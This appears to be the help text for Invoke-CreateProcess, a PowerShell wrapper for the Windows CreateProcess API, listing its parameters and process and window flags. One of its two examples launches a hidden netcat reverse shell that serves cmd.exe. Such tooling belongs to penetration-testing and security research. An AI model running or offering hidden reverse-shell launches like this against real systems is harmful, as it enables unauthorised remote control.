## Invoke-CreateProcess

Invoke-CreateProcess is a PowerShell wrapper for Kernel32 CreateProcess. For full details you can read the associated post on accessing the Windows API from PowerShell here.

[Get-Help]

    PS C:\Users\Fubar\Desktop> . .\Invoke-CreateProcess.ps1
    PS C:\Users\Fubar\Desktop> Get-Help Invoke-CreateProcess -Full

    NAME
        Invoke-CreateProcess

    SYNOPSIS
        -Binary            Full path of the module to be executed.

        -Args              Arguments to pass to the module, e.g. "/c calc.exe". Defaults
                           to $null if not specified.

        -CreationFlags     Process creation flags:
                             0x00000000 (NONE)
                             0x00000001 (DEBUG_PROCESS)
                             0x00000002 (DEBUG_ONLY_THIS_PROCESS)
                             0x00000004 (CREATE_SUSPENDED)
                             0x00000008 (DETACHED_PROCESS)
                             0x00000010 (CREATE_NEW_CONSOLE)
                             0x00000200 (CREATE_NEW_PROCESS_GROUP)
                             0x00000400 (CREATE_UNICODE_ENVIRONMENT)
                             0x00000800 (CREATE_SEPARATE_WOW_VDM)
                             0x00001000 (CREATE_SHARED_WOW_VDM)
                             0x00040000 (CREATE_PROTECTED_PROCESS)
                             0x00080000 (EXTENDED_STARTUPINFO_PRESENT)
                             0x01000000 (CREATE_BREAKAWAY_FROM_JOB)
                             0x02000000 (CREATE_PRESERVE_CODE_AUTHZ_LEVEL)
                             0x04000000 (CREATE_DEFAULT_ERROR_MODE)
                             0x08000000 (CREATE_NO_WINDOW)

        -ShowWindow        Window display flags:
                             0x0000 (SW_HIDE)
                             0x0001 (SW_SHOWNORMAL)
                             0x0001 (SW_NORMAL)
                             0x0002 (SW_SHOWMINIMIZED)
                             0x0003 (SW_SHOWMAXIMIZED)
                             0x0003 (SW_MAXIMIZE)
                             0x0004 (SW_SHOWNOACTIVATE)
                             0x0005 (SW_SHOW)
                             0x0006 (SW_MINIMIZE)
                             0x0007 (SW_SHOWMINNOACTIVE)
                             0x0008 (SW_SHOWNA)
                             0x0009 (SW_RESTORE)
                             0x000A (SW_SHOWDEFAULT)
                             0x000B (SW_FORCEMINIMIZE)
                             0x000B (SW_MAX)

        -StartF            Bitfield to influence window creation:
                             0x00000001 (STARTF_USESHOWWINDOW)
                             0x00000002 (STARTF_USESIZE)
                             0x00000004 (STARTF_USEPOSITION)
                             0x00000008 (STARTF_USECOUNTCHARS)
                             0x00000010 (STARTF_USEFILLATTRIBUTE)
                             0x00000020 (STARTF_RUNFULLSCREEN)
                             0x00000040 (STARTF_FORCEONFEEDBACK)
                             0x00000080 (STARTF_FORCEOFFFEEDBACK)
                             0x00000100 (STARTF_USESTDHANDLES)

    SYNTAX
        Invoke-CreateProcess [-Binary] <String> [[-Args] <String>] [-CreationFlags] <Int32> [-ShowWindow]
        <Int32> [-StartF] <Int32> [<CommonParameters>]

    DESCRIPTION
        Author: Ruben Boonen (@FuzzySec)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None

    PARAMETERS
        -Binary <String>

            Required?                    true
            Position?                    1
            Default value
            Accept pipeline input?       false
            Accept wildcard characters?

        -Args <String>

            Required?                    false
            Position?                    2
            Default value
            Accept pipeline input?       false
            Accept wildcard characters?

        -CreationFlags <Int32>

            Required?                    true
            Position?                    3
            Default value
            Accept pipeline input?       false
            Accept wildcard characters?

        -ShowWindow <Int32>

            Required?                    true
            Position?                    4
            Default value
            Accept pipeline input?       false
            Accept wildcard characters?

        -StartF <Int32>

            Required?                    true
            Position?                    5
            Default value
            Accept pipeline input?       false
            Accept wildcard characters?

        <CommonParameters>
            This cmdlet supports the common parameters: Verbose, Debug,
            ErrorAction, ErrorVariable, WarningAction, WarningVariable,
            OutBuffer and OutVariable. For more information, type,
            "get-help about_commonparameters".

    INPUTS

    OUTPUTS

        -------------------------- EXAMPLE 1 --------------------------

        Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW

        C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1
               -StartF 0x1

        -------------------------- EXAMPLE 2 --------------------------

        Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW

        C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e
               C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1

Download: Invoke-CreateProcess.ps1